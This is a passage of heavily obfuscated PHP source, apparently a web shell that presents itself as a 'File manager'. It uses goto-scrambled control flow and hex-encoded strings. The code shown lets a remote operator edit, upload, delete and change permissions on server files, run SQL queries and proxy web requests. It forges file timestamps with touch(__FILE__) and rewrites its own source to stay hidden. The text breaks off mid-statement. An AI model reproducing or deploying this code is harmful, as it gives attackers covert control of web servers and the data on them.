x65\x78\x63\145\x6c\x22\40\x78\x6d\x6c\156\163\75\x22\150\164\x74\x70\72\x2f\x2f\167\167\x77\56\167\63\x2e\157\162\147\x2f\124\122\x2f\122\x45\103\x2d\x68\164\x6d\154\64\60\42\x3e\x3c\x68\145\141\x64\x3e\x3c\x21\x2d\x2d\x5b\151\146\x20\147\164\x65\40\155\x73\x6f\40\71\x5d\76\74\x78\x6d\154\x3e\x3c\x78\72\105\170\143\x65\x6c\x57\157\x72\153\142\x6f\157\153\76\74\170\x3a\105\170\x63\x65\x6c\127\157\x72\x6b\x73\x68\145\145\164\x73\76\74\170\72\x45\x78\143\145\154\127\157\162\153\163\150\x65\145\x74\76\x3c\x78\x3a\116\x61\x6d\145\76\173\167\x6f\x72\153\x73\150\145\145\164\175\x3c\x2f\170\x3a\x4e\x61\155\x65\76\x3c\170\72\x57\157\x72\x6b\x73\150\145\145\x74\x4f\x70\164\x69\x6f\156\163\76\74\170\x3a\104\151\163\x70\154\141\x79\107\162\151\x64\154\x69\x6e\x65\x73\x3e\x3c\x2f\170\72\104\x69\x73\x70\154\141\x79\107\x72\151\x64\x6c\151\x6e\x65\163\x3e\74\57\170\72\x57\x6f\x72\x6b\163\150\x65\145\164\117\160\x74\151\x6f\x6e\163\76\74\x2f\x78\x3a\x45\170\143\145\154\127\157\x72\153\x73\150\x65\x65\164\x3e\x3c\x2f\170\72\105\x78\143\x65\154\127\x6f\162\153\163\150\x65\145\164\163\x3e\74\x2f\x78\x3a\105\170\143\145\154\x57\157\x72\x6b\142\x6f\x6f\x6b\x3e\74\x2f\x78\x6d\154\76\74\41\133\x65\156\x64\x69\x66\135\x2d\x2d\76\x3c\155\x65\x74\141\x20\x68\x74\164\160\x2d\145\x71\165\151\x76\75\42\x63\x6f\x6e\164\x65\156\164\55\x74\x79\x70\x65\42\x20\143\157\156\x74\x65\156\164\75\x22\x74\x65\170\164\x2f\x70\x6c\x61\151\x6e\x3b\40\x63\x68\141\162\x73\x65\164\x3d\125\x54\x46\55\70\42\x2f\x3e\74\57\150\145\141\144\76\x3c\x62\x6f\x64\x79\76\x3c\164\141\x62\x6c\x65\x3e\x7b\x74\141\x62\154\145\x7d\x3c\x2f\x74\141\x62\x6c\145\x3e\74\57\142\157\144\x79\x3e\x3c\x2f\150\x74\155\154\76\x27\54\15\xa\x20\x20\40\40\146\x6f\x72\x6d\141\164\x20\75\x20\x66\165\x6e\143\x74\151\157\156\50\163\x2c\40\143\51\40\173\xd\12\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\162\145\164\165\x72\156\40\x73\x2e\162\145\160\154\141\x63\x65\50\x2f\173\x28\x5c\x77\x2b\x29\175\57\147\x2c\40\x66\x75\x6e\x63\x74\x69\157\x6e\x28\155\x2c\40\160\x29\40\x7b\xd\xa\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\x72\145\164\165\x72\x6e\40\x63\133\x70\x5d\x3b\xd\12\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\175\51\xd\xa\40\x20\x20\x20\40\40\x20\x20\175\xd\12\x20\x20\x20\x20\x72\x65\x74\165\162\156\x20\x66\x75\156\143\164\151\x6f\x6e\50\x74\x61\142\x6c\x65\54\40\156\141\155\x65\51\x20\x7b\15\12\40\x20\40\40\x20\x20\x20\40\151\146\40\50\x21\164\141\142\x6c\145\56\156\x6f\144\x65\124\x79\x70\x65\x29\40\x74\x61\x62\x6c\145\40\x3d\40\x64\157\143\x75\x6d\x65\156\164\56\147\x65\164\105\x6c\145\155\145\x6e\x74\102\x79\x49\x64\50\x74\x61\142\x6c\x65\51\15\xa\x20\x20\40\40\40\x20\40\x20\166\x61\x72\x20\x63\164\170\40\75\x20\173\15\12\40\40\40\40\x20\40\40\40\x20\40\x20\x20\x77\157\x72\x6b\163\x68\145\x65\x74\x3a\40\156\141\x6d\x65\x20\x7c\x7c\40\47\127\x6f\x72\x6b\x73\150\145\x65\164\x27\x2c\xd\12\40\x20\x20\40\x20\x20\x20\x20\40\40\40\40\164\141\142\x6c\x65\72\40\164\141\142\154\x65\56\151\156\x6e\x65\162\110\124\x4d\x4c\x2e\162\x65\160\x6c\141\x63\x65\x28\x2f\74\163\160\141\x6e\x28\x2e\x2a\77\51\134\57\x73\x70\141\156\x3e\40\x2f\147\x2c\x22\x22\x29\56\x72\145\160\154\141\x63\145\50\57\x3c\141\134\x62\133\x5e\x3e\135\x2a\x3e\50\56\52\x3f\51\x3c\x5c\x2f\141\76\x2f\x67\x2c\42\x24\61\42\51\xd\xa\40\40\x20\40\x20\40\x20\x20\x7d\15\12\11\x9\164\x20\x3d\x20\156\x65\x77\40\x44\x61\164\x65\50\x29\73\xd\12\x9\11\146\x69\x6c\145\156\x61\155\x65\40\x3d\x20\x27\x66\155\x5f\x27\x20\x2b\x20\x74\56\x74\157\111\123\117\x53\x74\162\x69\x6e\x67\50\51\40\x2b\40\x27\x2e\170\x6c\x73\47\xd\xa\11\11\x64\x6f\167\x6e\x6c\157\141\x64\x5f\170\154\x73\x28\x66\x69\x6c\145\156\x61\155\x65\x2c\x20\142\141\x73\145\x36\64\x5f\145\156\143\x6f\x64\x65\x28\x66\x6f\x72\155\141\x74\50\x74\145\155\160\154\x61\164\x65\x2c\40\143\164\170\x29\x29\51\xd\12\40\40\x20\40\175\xd\12\175\51\50\x29\x3b\15\xa\15\xa\x76\x61\x72\40\164\x61\x62\x6c\145\x32\105\170\143\x65\x6c\x20\x3d\40\x66\165\156\143\164\151\x6f\x6e\40\x28\51\x20\x7b\15\xa\xd\xa\40\40\40\x20\166\x61\162\40\x75\141\x20\x3d\40\167\x69\x6e\x64\157\167\56\x6e\141\166\151\147\x61\164\x6f\162\x2e\x75\x73\145\162\101\x67\x65\x6e\x74\73\xd\12\40\40\40\40\x76\x61\162\x20\x6d\163\151\x65\x20\x3d\x20\x75\x61\56\x69\156\x64\x65\x78\x4f\x66\50\42\115\x53\x49\105\x20\42\x29\73\xd\xa\xd\12\11\x74\x68\151\x73\56\x43\x72\x65\x61\164\145\x45\170\x63\145\154\x53\x68\145\x65\x74\40\75\40\xd\12\11\x9\x66\165\x6e\x63\x74\151\157\156\x28\x65\154\x2c\40\156\141\155\145\x29\173\xd\xa\11\11\11\151\x66\40\50\155\163\151\x65\x20\76\40\x30\40\174\x7c\x20\41\41\156\141\x76\151\x67\141\164\x6f\x72\x2e\x75\163\x65\x72\101\147\x65\156\164\x2e\x6d\141\164\143\x68\50\x2f\124\x72\x69\x64\145\156\164\56\x2a\x72\166\x5c\72\x31\x31\134\x2e\x2f\x29\x29\x20\x7b\x2f\57\40\x49\x66\40\111\x6e\x74\145\162\156\x65\164\40\x45\x78\x70\x6c\x6f\162\x65\x72\xd\xa\15\12\x9\11\11\x9\166\x61\x72\40\170\40\x3d\x20\x64\157\x63\x75\x6d\145\x6e\x74\x2e\147\x65\164\105\154\145\155\145\x6e\x74\102\171\111\144\50\x65\154\x29\x2e\162\157\x77\x73\x3b\15\xa\15\xa\x9\11\11\x9\166\x61\162\x20\x78\x6c\163\40\75\x20\156\x65\x77\40\101\143\164\x69\x76\x65\130\x4f\x62\x6a\145\143\x74\x28\42\x45\x78\143\x65\154\56\101\x70\160\x6c\x69\x63\x61\164\x69\157\156\42\x29\73\15\xa\15\xa\x9\x9\x9\11\x78\x6c\163\x2e\x76\x69\163\x69\x62\154\145\x20\x3d\x20\164\162\165\x65\73\xd\xa\x9\x9\11\11\x78\x6c\x73\56\x57\157\162\x6b\142\x6f\157\x6b\163\56\x41\x64\144\xd\xa\x9\x9\x9\x9\146\x6f\x72\40\50\x69\x20\75\40\x30\x3b\x20\x69\40\x3c\40\x78\x2e\x6c\145\156\x67\164\x68\x3b\40\151\53\x2b\51\x20\x7b\xd\12\11\11\11\11\11\166\141\x72\40\x79\x20\x3d\x20\x78\x5b\x69\135\x2e\x63\145\154\x6c\x73\x3b\15\12\15\xa\11\x9\x9\11\11\x66\157\x72\x20\x28\x6a\x20\x3d\x20\60\x3b\x20\152\x20\x3c\x20\171\x2e\154\x65\x6e\x67\164\150\73\40\x6a\x2b\53\x29\x20\x7b\15\xa\11\x9\11\11\x9\11\x78\x6c\163\x2e\103\x65\154\154\163\x28\151\40\53\40\61\x2c\40\152\40\53\x20\x31\51\x2e\126\141\x6c\x75\145\40\x3d\x20\171\133\x6a\x5d\56\x69\x6e\x6e\145\x72\x54\x65\170\x74\73\15\xa\x9\11\11\x9\11\x7d\xd\xa\11\11\11\11\175\15\xa\11\11\x9\11\170\154\x73\x2e\126\x69\163\151\142\x6c\145\x20\x3d\40\x74\x72\x75\145\73\15\xa\x9\11\11\x9\x78\154\163\56\125\x73\x65\162\x43\157\156\164\162\x6f\x6c\40\75\x20\x74\x72\165\x65\x3b\15\xa\11\x9\x9\11\x72\x65\164\x75\162\156\40\170\154\x73\73\xd\12\x9\x9\11\x7d\40\x65\154\x73\145\x20\x7b\xd\12\11\11\x9\11\164\141\142\154\145\124\x6f\105\x78\143\x65\x6c\104\x61\164\141\x28\x65\x6c\x2c\40\x6e\x61\155\145\x29\73\xd\xa\x9\x9\11\175\15\xa\11\x9\175\xd\12\175\15\12\74\57\163\143\162\151\x70\x74\x3e\15\xa\74\57\142\x6f\x64\171\x3e\xd\xa\x3c\57\x68\164\x6d\x6c\x3e\15\12\15\12"; goto moaff; ChlxU: echo CWQZd("\x53\x69\x7a\x65"); goto JAFkf; Vz8U7: echo "\x22\x20\57\76\15\12\x9\11\11\11\x3c\151\156\160\x75\164\x20\x74\171\x70\145\x3d\42\164\145\170\x74\42\40\x70\154\x61\143\145\150\x6f\154\144\x65\162\75\x22"; goto QWRWo; Rm971: echo $zqLqB; goto oCj77; gWXge: echo "\42\76\15\xa\11\11\x9\11\x3c\151\156\160\x75\x74\x20\x74\171\x70\x65\75\x22\150\x69\x64\x64\145\156\42\40\156\x61\x6d\145\x3d\x22\x70\141\x74\x68\x22\40\x20\40\x20\x20\166\141\154\x75\x65\x3d\42"; goto o6rw6; qS7xr: echo CWQzd("\123\x75\142\155\x69\x74"); goto wXwRN; epsyp: touch(__FILE__, $vA8kI); goto s39ZQ; DWMln: if (file_put_contents(__FILE__, $St7jq)) { goto nJVGB; } goto E2Sm_; HahvE: $VsbYS->compress(Phar::GZ, $Jvp_F . "\x2e\164\141\x72\x2e\147\x7a"); goto AfnfG; pM7QJ: echo CWqZd("\x42\141\143\153"); goto MZJB1; ydFKy: wSTT2: goto jwaPj; RuZXE: a1hTB: goto Cg5Dr; hwNi6: ChOVd: goto zrXbd; OjzPB: $dIxSR .= CWqZD("\105\162\x72\157\x72\x20\157\143\143\165\162\162\x65\144"); goto Eecz3; HrPRk: if (empty($s97BH["\146\155\x5f\162\145\163\x74\157\162\145\137\x74\x69\155\145"])) { goto TSNas; } goto QvWHu; DatQA: if (!is_file($KoyTP . "\56\x67\172")) { goto dDiJ6; } goto GE5Bg; X0Gyo: echo "\42\x3e"; goto ZKBtk; ykSVK: echo "\40\74\57\164\150\x3e\15\xa\x3c\x2f\164\162\x3e\xd\12\74\x2f\164\x68\x65\141\144\76\15\xa\x3c\x74\x62\x6f\x64\x79\x3e\xd\xa"; goto OHMGG; B4tW8: if (!empty($_REQUEST["\162\151\x67\150\164\163"])) { goto Se0e3; } goto O6pvW; DhTop: function AOSWS($v24P5, $Ki6Zl = '', $jgcVQ = "\141\154\154", $v03ne = false) { goto WGkyY; y4v7X: ePsrF: goto nD09q; azJtX: hmxsR: goto bdbaL; Bth5V: Wpi90: goto tmymx; bdbaL: if (!(false !== ($GO7Gl = readdir($kqubc)))) { goto pi__T; } goto mQ8eF; HEODj: Zau8h: goto tSeT9; OLeNC: $Ki6Zl = "\57\x5e" . str_replace("\52", "\x28\56\52\51", str_replace("\x2e", "\x5c\56", $Ki6Zl)) . "\44\x2f"; goto y4v7X; MLZDI: goto hmxsR; goto y0fGg; MXY31: if (!@is_dir($v24P5)) { goto Zau8h; } goto rL7VC; eg92F: natsort($X05w2); goto HEODj; MHl6Q: $ISdpQ = "\151\163\x5f" . $jgcVQ; goto RyTI7; mQ8eF: if (!(substr($GO7Gl, 0, 1) != "\56" || $v03ne)) { goto fEuHZ; } goto vNWcZ; y0fGg: pi__T: goto mxT0z; K7F8s: $X05w2[] = $GO7Gl; goto Bth5V; rL7VC: $kqubc = opendir($v24P5); goto azJtX; mxT0z: closedir($kqubc); goto eg92F; tmymx: fEuHZ: goto MLZDI; nD09q: if (!(!empty($jgcVQ) && $jgcVQ !== "\x61\154\154")) { goto nrgSi; } goto MHl6Q; RyTI7: nrgSi: goto MXY31; WGkyY: $X05w2 = $wkYqJ = array(); goto k1Q1E; k1Q1E: if (empty($Ki6Zl)) { goto ePsrF; } goto OLeNC; vNWcZ: if (!((empty($jgcVQ) || $jgcVQ == "\141\154\x6c" || $ISdpQ($v24P5 . "\57" . $GO7Gl)) && (empty($Ki6Zl) || preg_match($Ki6Zl, $GO7Gl)))) { goto Wpi90; } goto K7F8s; tSeT9: return $X05w2; goto UVOaV; UVOaV: } goto l3V5T; b247P: nO286: goto Us1HH; jX7jw: $dIxSR .= cWqzd("\106\x69\154\x65\40\165\160\x64\x61\x74\x65\144"); goto Hq8ed; sA24j: $_POST["\146\155\x5f\x6c\157\147\151\156"] = array("\x61\165\164\150\157\162\x69\172\x65" => "\x30") + $_POST["\x66\x6d\137\154\x6f\x67\151\x6e"]; goto oUflo; a00rM: echo $fOo6X; goto e0BTp; MxGRW: set_time_limit(0); goto gj5aD; OyBrS: $RzFnZ = "\x7b\x22\101\154\154\40\x62\x61\x73\145\x73\42\x3a\42\x53\x48\117\x57\40\x44\101\124\101\102\101\x53\x45\123\x3b\42\x2c\42\x41\154\x6c\40\164\x61\x62\x6c\145\163\42\72\x22\x53\110\x4f\127\x20\124\x41\x42\x4c\x45\x53\x3b\42\x7d"; goto YHFwT; ekyCL: $afv5z .= "\74\57\163\x65\x6c\145\143\164\76\xa"; goto JN1yw; czdKn: function G6x51($jadpS, $EoCzU) { global $s97BH; return "\74\164\162\76\74\164\144\x20\x63\x6c\141\x73\x73\75\42\162\157\167\x31\x22\x3e\x3c\151\x6e\160\x75\164\x20\151\x64\x3d\42\x66\x6d\137\143\x6f\x6e\x66\151\147\137" . $EoCzU . "\x22\x20\156\x61\x6d\145\75\x22\x66\x6d\137\x63\157\x6e\146\x69\x67\133" . $EoCzU . "\x5d\x22\x20\x76\x61\154\165\x65\75\42\61\x22\x20" . (empty($s97BH[$EoCzU]) ? '' : "\143\x68\x65\143\x6b\145\x64\x3d\x22\x74\x72\165\145\x22") . "\x20\164\x79\160\145\x3d\x22\x63\150\145\x63\153\142\x6f\170\42\x3e\74\57\164\144\x3e\74\164\144\40\x63\154\x61\x73\163\x3d\x22\x72\x6f\x77\x32\40\x77\150\157\x6c\x65\42\76\x3c\x6c\141\x62\x65\154\40\146\157\162\75\42\x66\155\137\x63\x6f\x6e\x66\x69\147\137" . $EoCzU . "\x22\76" . $jadpS . "\74\x2f\164\x64\x3e\74\57\164\x72\x3e"; } goto xW0ic; YKlsX: if (isset($zqLqB)) { goto UvRt2; } goto NU_6A; CLaF0: d7DSD: goto c3ySp; Y87z9: echo !empty($_POST["\x6d\141\x73\153"]) ? $_POST["\x6d\141\x73\x6b"] : "\x2a\x2e\52"; goto oR8EI; gCkDA: if (k4iz7($mNXtQ . $_REQUEST["\162\151\x67\x68\x74\x73"], qdLGj($_REQUEST["\x72\151\147\150\164\163\x5f\166\x61\x6c"]), @$_REQUEST["\162\x65\143\165\162\x73\151\x76\x65\x6c\171"])) { goto xmovS; } goto r_PQT; O6pvW: if (!empty($_REQUEST["\x72\x65\156\x61\x6d\145"]) && $_REQUEST["\162\145\x6e\x61\155\145"] != "\56") { goto G6usN; } goto o9iRg; LlruR: WzNpo: goto Ams3T; s39ZQ: pNZhb: goto YeTx9; Ams3T: $G3STP = @file_get_contents($mNXtQ . $_REQUEST["\145\x64\x69\164"]); goto hPsK0; ISlRl: echo "\11\74\x2f\164\144\76\xd\xa\74\x2f\164\x72\76\xd\12\x3c\x74\x72\76\xd\12\x20\40\x20\x20\74\164\144\x20\x63\x6c\141\163\x73\75\42\x72\157\x77\61\42\76\15\xa\40\40\40\40\x20\x20\40\x20\74\141\x20\x68\162\x65\x66\75\x22"; goto a00rM; lFzFE: unlink($KoyTP . "\x2e\x67\x7a"); goto RcAk9; eR6Lc: if (isset($_GET["\146\155\137\x63\157\156\146\x69\147\137\x64\145\x6c\x65\164\x65"])) { goto sG72Q; } goto VcRa6; SQw49: $JWqhb .= "\56\147\172"; goto ZNeRM; CSROL: echo bEw0a("\160\150\160"), BEW0A("\163\x71\154"); goto jpS2U; fkH3D: cLPyD: goto ovBrv; bo5ED: vTddQ: goto izrDf; cfpeL: if (!empty($_REQUEST["\x6d\153\x66\x69\154\145"]) && !empty($s97BH["\156\x65\167\x5f\146\x69\x6c\145"])) { goto dXpcy; } goto jGHXQ; vkmQu: echo $qZLQM; goto AEJGl; w2bX2: setcookie($d19Xm["\x63\157\x6f\x6b\151\x65\137\156\x61\x6d\x65"], $d19Xm["\154\x6f\147\151\x6e"] . "\x7c" . md5($d19Xm["\160\141\163\x73\x77\157\x72\144"]), time() + 86400 * $d19Xm["\144\141\171\x73\x5f\x61\165\x74\x68\157\x72\151\x7a\x61\x74\x69\x6f\156"]); goto CIBAD; X4jcO: XjUEw: goto qLYPb; bhj8m: echo "\x22\76\xd\12\11\x9\x9\11\x3c\57\146\x6f\x72\155\x3e\15\xa\11\x9\x9\74\57\x74\144\76\xd\12\11\11\x9\x3c\164\144\x3e\15\12\x9\x9\x9"; goto oSPYd; CF3hL: if (file_put_contents($LKA8e, $_REQUEST["\x6e\x65\167\143\x6f\156\164\145\x6e\x74"])) { goto ISTxd; } goto HL_ky; IEBTM: $s97BH = $_POST["\x66\155\137\x63\x6f\156\x66\151\147"]; goto giQmQ; VcUjn: Amj2S: goto gA_he; wz7Nr: $dIxSR .= cWqzd("\x43\162\x65\x61\x74\145\x64") . "\40" . $_REQUEST["\x66\x69\154\x65\156\141\155\x65"]; goto AtSAP; O39zr: clearstatcache(); goto WgWq5; sgHNV: echo "\x20\x7c\40\x3c\x61\x20\150\x72\145\x66\x3d\42\152\141\x76\x61\163\143\x72\151\x70\x74\72\x20\x76\x6f\151\144\50\x30\x29\x22\40\157\x6e\x63\x6c\x69\143\x6b\x3d\42\166\x61\x72\x20\x6f\x62\x6a\40\x3d\x20\156\145\x77\40\164\141\142\154\x65\62\105\x78\x63\145\x6c\x28\x29\73\40\x6f\142\152\56\x43\162\x65\x61\x74\145\x45\x78\143\145\154\x53\150\x65\x65\x74\50\x27\146\155\x5f\x74\141\142\x6c\145\x27\x2c\47\145\170\x70\x6f\162\x74\x27\51\73\42\x20\164\151\x74\154\145\75\42" . CWQZD("\104\x6f\x77\156\154\x6f\x61\144") . "\40\170\x6c\x73\42\76\170\x6c\x73\x3c\x2f\141\x3e"; goto QL3ZI; g_pD1: $VsbYS->addFile($slCOq); goto HahvE; vBCJd: QxE99: goto HrPRk; V0gA7: $dIxSR .= cWQzD("\x46\x69\154\145\163\40\165\160\154\157\x61\144\145\144") . "\x3a\40" . $_FILES["\165\x70\154\157\x61\x64"]["\x6e\x61\155\x65"]; goto a1Eky; i0xiu: echo $fOo6X; goto X0Gyo; jXzEh: JyTeB: goto WweSH; twbpL: die; goto uh1cg; rZuI9: $ktmbx = "\x3f\x66\155\75\x74\x72\165\x65"; goto woJQh; hOO1K: echo "\74\142\x72\x2f\x3e\xd\12\40\x20\40\x20\40\40\40\x20"; goto RuZXE; gFHeH: dDiJ6: goto NrVAF; AEdNP: $kgDXE = BoA1E($mNXtQ . $_REQUEST["\x72\151\x67\150\164\x73"], true); goto hbDyC; RhFTj: goto puTZZ; goto s6jxP; d1xaE: $esQj7 = preg_replace("\x25\50\x3c\142\157\x64\x79\x2e\52\77\x3e\51\45\x69", "\44\x31" . "\x3c\163\164\171\154\145\76" . ugU8F() . "\74\x2f\x73\x74\x79\x6c\145\x3e" . $SlUj1, $esQj7); goto kCE3z; DtHWj: yMVmN: goto LlruR; bNzE_: $LKA8e = $mNXtQ . $_REQUEST["\145\x64\151\164"]; goto cvLzD; LI03C: WUNCT: goto BqQNh; LtXtq: echo cWQzd("\106\x69\x6c\x65\40\x6d\141\x6e\x61\147\x65\162"); goto dumGA; JVyMr: $JWqhb = basename($slCOq) . "\56\172\x69\160"; goto MxGRW; ILa_e: setcookie("\x66\x6d\x5f\143\157\156\146\151\147", '', time() - 86400 * $d19Xm["\144\141\x79\163\137\141\x75\164\150\157\162\x69\172\141\x74\151\157\x6e"]); goto VGQpR; AtQgo: $MLGPS = $MLGPS[1] + $MLGPS[0]; goto m9AhU; FqpQ6: $St7jq = str_replace("\x7b\42" . $D8ooi[1] . "\42\x7d", $M3Q25, $KB7Dj); goto wmIw1; QvWHu: touch(__FILE__, $vA8kI); goto dgp6J; U8Tvg: id1sT: goto Tt30t; OpQQd: if (isset($_GET["\147\172"])) { goto cLPyD; } goto vEofR; N9E5r: foreach ($ZFhTA as $lOFrg) { goto YEDfC; vbIUn: dbImN: goto x3M9F; HD4bk: $Z77_j[] = $lOFrg; goto GeXhJ; GeXhJ: goto RWEJY; goto TEiDx; oX8LL: RWEJY: goto vbIUn; TEiDx: LeeRW: goto euFLz; euFLz: $LBYNk[] = $lOFrg; goto oX8LL; YEDfC: if (@is_dir($mNXtQ . $lOFrg)) { goto LeeRW; } goto HD4bk; x3M9F: } goto jekr8; db4qc: touch($LKA8e, $vA8kI); goto DJjCm; CwNjC: $dIxSR .= cWqzd("\x45\162\162\x6f\x72\x20\157\x63\x63\165\x72\162\x65\x64"); goto xtGpj; tOJEd: goto DerS1; goto r0HDb; Jvv2Q: echo "\74\57\164\x68\76\15\xa\x3c\57\x74\x72\x3e\15\xa\74\164\162\x3e\15\12\40\x20\40\x20\x3c\x74\x64\40\143\154\141\163\x73\x3d\42\x72\157\x77\62\x22\76\x3c\x74\x61\x62\x6c\x65\76\x3c\164\x72\x3e\x3c\164\x64\76\x3c\x68\x32\x3e"; goto NuKm7; OfYmu: Ar2yc: goto igAuG; sLuxP: echo "\40\174\x20\74\141\x20\150\x72\145\x66\x3d\42\77\146\x6d\x5f\163\x65\164\x74\x69\x6e\x67\163\x3d\164\x72\165\145\42\x3e" . CwqZd("\123\145\x74\x74\x69\156\147\163") . "\74\x2f\x61\76"; goto b247P; K1964: echo $kgDXE; goto l9lm5; igAuG: goto KCyLy; goto swLO0; YfyUq: echo "\40\74\x2f\164\150\x3e\xd\xa\40\40\40\x20\74\x74\x68\x20\143\157\154\163\160\141\x6e\x3d\x22\64\x22\40\x73\164\x79\x6c\x65\75\42\x77\150\151\x74\x65\55\163\160\x61\143\145\72\156\157\x77\x72\x61\160\x22\76\40"; goto GLKzE; h0fZm: ND0OP: goto yzDer; x5UwO: echo htmlspecialchars($G3STP); goto GW3r2; a_YXF: goto WUNCT; goto SiuLt; mrN_c: echo "\11\x9\11\74\x2f\164\x64\x3e\15\12\x9\11\x9\x3c\164\x64\x3e\xd\12\x9\11\x9"; goto bHk1f; ffUaN: if (empty($s97BH["\163\x68\157\x77\137\x70\150\x70\x5f\166\145\162"])) { goto jhkUZ; } goto HDDRq; rDiAN: echo cwqZd("\x4e\145\x77\x20\x66\x69\x6c\145"); goto TUe7u; C0jEy: $dIxSR .= cwQzd("\x45\162\x72\x6f\162\x20\157\x63\143\165\x72\x72\145\144") . "\72\x20" . cWQzd("\x6e\157\40\146\x69\x6c\145\x73"); goto RhFTj; L1pKC: Rm3Ft: goto j7Crl; ftjDG: r99WD: goto XBnv_; meuNq: goto KCyLy; goto K3ByW; VRF61: $dIxSR .= CWqZD("\105\162\x72\x6f\162\x20\157\x63\143\165\x72\162\145\x64"); goto fvGSW; m1IGN: function mElJ4($lOFrg, $N1_Zw = false) { goto g1fAh; EGvRO: nUgTz: goto Tnr7n; xKsk8: Q9JOv: goto pVkEh; Tnr7n: return rmdir($lOFrg); goto b2Qmk; Hvghr: return @unlink($lOFrg); goto Fw4Am; va_Pd: foreach ($p_eNj as $XqE0h) { goto eKIio; M3Xyc: NtIsH: goto jMZdX; xW9Gs: mElj4($lOFrg . "\x2f" . $XqE0h, true); goto M3Xyc; eKIio: if (!($XqE0h != "\x2e" && $XqE0h != "\x2e\x2e")) { goto NtIsH; } goto xW9Gs; jMZdX: KyZjl: goto Zq0VO; Zq0VO: } goto mbyeH; pVkEh: if (@is_dir($lOFrg)) { goto nUgTz; } goto Hvghr; mbyeH: ugLlN: goto xKsk8; hZKgj: $p_eNj = aosWS($lOFrg, '', '', true); goto va_Pd; b2Qmk: VWMiB: goto ASxqM; Fw4Am: goto VWMiB; goto EGvRO; g1fAh: if (!($N1_Zw && @is_dir($lOFrg))) { goto Q9JOv; } goto hZKgj; ASxqM: } goto BsUMw; oCj77: echo "\162\165\x6e\x22\x3e\xd\xa"; goto qu2DO; QL3ZI: veYJ4: goto Tl8r2; VuO53: echo $ktmbx; goto skVac; JInnS: if (!empty($_REQUEST["\x64\145\x6c\145\164\x65"]) && $_REQUEST["\144\145\154\145\164\x65"] != "\56") { goto zxYKt; } goto bInd_; n9U3t: $C3WE7 = true; goto suzAn; l3WL4: goto vqk0o; goto Tjxgb; bHk1f: if (empty($s97BH["\x6d\x61\153\x65\x5f\x64\151\x72\x65\143\164\x6f\x72\x79"])) { goto Rm3Ft; } goto x13QD; u5PES: $Jp_Cj = version_compare(phpversion(), "\65\56\x33\56\60", "\74") ? true : false; goto DkxBp; q0dnY: ii6Hx: goto djngm; CHh_y: $dIxSR .= cwQzd("\104\x65\x6c\x65\x74\145\x64") . "\x20" . $_REQUEST["\x64\x65\154\145\164\145"]; goto mb2Xi; oUflo: tGTxl: goto qTu_H; Tt30t: echo "\x3c\164\x72\x3e\xd\xa\40\40\40\x20\74\164\144\40\143\x6c\141\x73\x73\75\x22\x72\x6f\167\x32\42\x3e\15\12\x9\11\74\164\x61\x62\x6c\x65\76\xd\xa\x9\11\11\x3c\x74\x72\76\15\12\11\x9\x9\74\x74\x64\x3e\15\12\11\11\x9\x9"; goto UyLn8; nPkQF: if (!isset($_GET["\151\x6d\147"])) { goto ckNDw; } goto HcNdX; jUiL0: function DpiRC($sfAdm) { return $sfAdm == "\56" or $sfAdm == "\56\x2e"; } goto SaeXH; NSItf: goto B2Y0l; goto UoKSM; UQ8nb: echo $d19Xm["\163\x63\162\151\160\x74"]; goto QArTS; swLO0: zxYKt: goto ds0c1; fLlt3: echo cwqZD("\106\x69\154\145\40\155\x61\x6e\141\147\145\162") . "\40\x2d\x20" . $mNXtQ; goto cyQOi; oOPCT: $dIxSR .= CWqzd("\x46\151\154\145\x20\165\160\x64\x61\164\x65\144"); goto QTWWp; y4fhq: unlink($KoyTP); goto RSwq0; Bf4Tr: echo "\42\40\163\164\171\154\145\x3d\42\143\x75\162\163\157\x72\x3a\x20\160\x6f\x69\x6e\164\145\162\x3b\42\40\x6f\156\x63\154\151\x63\153\x3d\x22\144\x6f\x63\x75\155\x65\156\164\56\147\x65\164\x45\x6c\145\x6d\145\x6e\164\102\x79\x49\x64\x28\x27\x75\x70\154\157\x61\144\137\x68\x69\144\144\145\x6e\47\51\56\x63\x6c\151\143\x6b\50\51\73\x22\x20\57\x3e\15\12\11\11\11\74\151\156\160\x75\164\x20\164\x79\160\145\75\42\163\165\142\x6d\151\164\x22\x20\156\x61\x6d\x65\x3d\42\164\x65\163\x74\42\40\x76\x61\154\165\145\x3d\x22"; goto umqKR; KIb27: SFV01: goto Vmw4n; xZvjC: echo CWqZD("\x52\x65\156\141\x6d\145"); goto v8qz2; cGluB: $dIxSR .= "\40" . cwQzd("\x50\x61\x73\163\x77\x6f\x72\144") . "\72\x20" . $_POST["\146\x6d\x5f\x6c\157\x67\151\156"]["\160\141\163\163\167\x6f\162\x64"]; goto I0Pij; SLzvv: echo "\x9\x9\74\57\164\x64\76\15\xa\x9\x9\74\x74\x64\x3e\xd\xa\x9\11"; goto eHKrW; SFVxt: if (isset($_GET["\x67\x7a\146\x69\x6c\145"])) { goto oEzRY; } goto BfUCx; jM7K2: $K6jfj = !empty(${$iOi38}) ? json_decode(${$iOi38}, true) : ''; goto m1Fcw; XkE19: echo "\42\x20\x6e\x61\155\x65\75\x22"; goto Rm971; qLYPb: F_Ebp: goto a6JVo; kwiSV: function b_wd6($D8ooi) { goto icmrH; cCvhT: DHpOk: goto UCage; HxLxz: $lz8bp = uncr5() . "\x2f" . basename(__FILE__); goto A9aiv; HkH_V: PYKbZ: goto cCvhT; A9aiv: $DxRha = $lz8bp . "\77\x70\x72\157\170\171\75\164\162\x75\x65\x26\x75\162\154\75"; goto ddDyj; pKntY: if (substr($qZLQM, 0, 1) == "\x2f") { goto qqC1U; } goto ywVN5; raEbs: if (substr($qZLQM, 0, 4) == "\x68\x74\x74\x70") { goto jtRKc; } goto vf1xg; D9V91: if (strripos($qZLQM, "\x63\x73\163")) { goto PYKbZ; } goto R56vW; Cg8i2: if (substr($qZLQM, 0, 2) == "\57\57") { goto fX0z1; } goto pKntY; Oc90h: if ($D8ooi[1] == "\150\x72\145\x66" && !strripos($qZLQM, "\x63\x73\163")) { goto yPToT; } goto D9V91; dR0bU: fX0z1: goto IxPLm; cHAfE: $dPMpC = $Svhtj["\x73\x63\x68\x65\155\145"] . "\x3a\x2f\57" . $Svhtj["\150\x6f\x73\x74"] . "\x2f"; goto Cg8i2; xLJmm: $Mq012 = isset($_GET["\x75\162\154"]) ? $_GET["\x75\x72\154"] : ''; goto uqS7m; hb60y: $qZLQM = substr_replace($qZLQM, $dPMpC, 0, 2); goto mW3lH; Uprmz: $qZLQM = 